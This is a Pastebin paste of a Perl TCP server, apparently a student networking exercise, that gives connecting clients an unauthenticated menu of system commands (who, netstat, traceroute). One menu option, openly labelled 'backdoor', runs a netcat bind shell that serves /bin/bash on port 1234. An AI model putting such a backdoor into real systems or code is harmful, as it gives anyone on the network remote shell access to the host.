Advertisement
Guest User

Redes-Zak

a guest
Oct 1st, 2014
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 4.16 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. #ALUMNOS:
  4.  
  5. #                Dias, Walter  
  6.  
  7. #                Herrera, Glenda Adalis
  8.  
  9. #                Spairani, Jose Luis
  10.  
  11. #             Zacarias, Edgar Gabriel A.
  12.  
  13. use IO::Socket;
  14. #$puerto = 4444;
  15. print "Ingrese el puerto a escuchar\n -> ";
  16. $puerto.=<STDIN>;
  17. chomp($puerto);
  18. $servidor=IO::Socket::INET->new(proto =>'tcp',
  19.                                 LocalPort =>$puerto,
  20.                                 Listen =>SOMAXCONN,
  21.                                 Reuse =>1) or die "Error al iniciar el servidor";
  22. print "Aceptando conexiones en Puerto del Servidor ==> $puerto \n";
  23. while ($conexion = $servidor ->accept()) {
  24.   atender($conexion);
  25.    
  26.     }
  27.  
  28.  sub ejecutar($$) {
  29.     ($comando, $conexion) = @_;
  30.      $resultado = '';
  31. #Muestra sólo los nombres de usuario y la cuenta de usuarios activos
  32.       if ($comando eq 'usuario y la cuenta de usuarios activos' || $comando eq '1'){
  33.         $resultado= `who -q`;
  34.         }
  35. #Incluye el tiempo parado como HORAS:MINUTOS. Un tiempo parado de . indica actividad en el último minuto
  36.         elsif ($comando eq 'tiempo y actividad en el ultimo minuto' || $comando eq '2'){
  37.                $resultado= `who -i`;
  38.         }
  39. #indica actividad en el último minuto.Salida:NAME LINE TIME  IDLE PID COMMENT
  40.       elsif ($comando eq 'tusuario' || $comando eq '3'){
  41.                $resultado= `who -uH`;
  42.         }
  43. #muestra nuestra ip, la mascara, puerta de enalce y la interfaces
  44.  
  45. elsif ($comando eq 'datos de conexiones de interface' || $comando eq '4'){
  46.                $resultado= `netstat -nr`;
  47.         }
  48.  
  49. #muestra la IP del route
  50. elsif ($comando eq 'route ip' || $comando eq '5'){
  51.                $resultado= `ip route show`;
  52.         }
  53. #muestra los puertos abiertos
  54. elsif ($comando eq 'puertos' || $comando eq '6'){
  55.                $resultado= `netstat -a`;
  56.         }
  57. #crea un backdoor para permitir conexiones remotas a bash
  58. elsif ($comando eq 'backdoor' || $comando eq '7'){
  59.                $resultado= `nc -vv -l  -p 1234 -e /bin/bash`;
  60.  }
  61.  
  62. #muestra la ruta entre el servidor y el cliente        
  63. elsif ($comando eq 'tr' || $comando eq '8'){
  64.                $resultado= `traceroute $ip`;
  65.         }      
  66. elsif ($comando eq 'menu' || $comando eq '9'){
  67.                 $resultado=" \n";
  68.                menu();
  69.  }
  70.    
  71.  
  72.  
  73.  
  74. if ($resultado) {
  75.    print $conexion "OK 200\n";
  76.    print $conexion $resultado;
  77.        
  78.   }
  79.  
  80.   elsif ($comando eq 'salir') {
  81.   print $conexion "Bye. Fin Conexión\n"
  82.   }
  83.   else
  84.    {
  85.     print $conexion "ERR 500\n";
  86.   }
  87. }
  88.  
  89.  
  90. sub menu(){
  91. print $conexion "\n Lista de comandos: \n \n";
  92.       print $conexion "1) Muestra sólo los nombres de usuario y la cuenta de usuarios activos \n";
  93.       print $conexion "2) Incluye el tiempo parado como HORAS:MINUTOS. Un tiempo parado de . indica actividad en el último minuto \n";
  94.       print $conexion "3) Indica actividad en el último minuto.Salida:NAME LINE TIME  IDLE PID COMMENT \n";
  95.       print $conexion "4) Muestra nuestra ip, la mascara, puerta de enalce y la interfaces \n";
  96.       print $conexion "5) Muestra la IP del route \n";
  97.       print $conexion "6) Muestra los puertos abiertos \n";
  98.       print $conexion "7) crea un backdoor para permitir conexiones remotas a bash \n";
  99.       print $conexion "8) tr: Muestra la ruta entre el servidor y el cliente \n";
  100.       print $conexion "9) menu: Mostrar lista de comandos  \n\n";
  101. }
  102.  
  103. sub atender($) {
  104.     $conexion = shift; #Toma el descriptor
  105.     $ip = $conexion->peerhost; #La ip del Socket cliente
  106.     $portc= $conexion->peerport;#El puerto del cliente
  107.    
  108.     print $conexion "\n Bienvenido uso de Socket de Redes de Datos.\n";
  109.     menu();
  110.     print "*Conexion establecida desde $ip y puerto del cliente $portc*]\n";
  111.    
  112.      do {
  113.      
  114.      
  115.  
  116.       print $conexion  "->";
  117.        
  118.         if ($comando = <$conexion>) {
  119.             $comando =~ s/\r\n|\n//g;#Borro los saltos de Lineas
  120.             ejecutar($comando, $conexion);# Envio el comando y el descriptor
  121.         } else {
  122.             $comando = 'salir';
  123.         }
  124.     } until ($comando eq 'salir');
  125.     $conexion->shutdown(2);
  126.     print "[Conexión establecida $ip]\n";
  127. }
  128. ;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement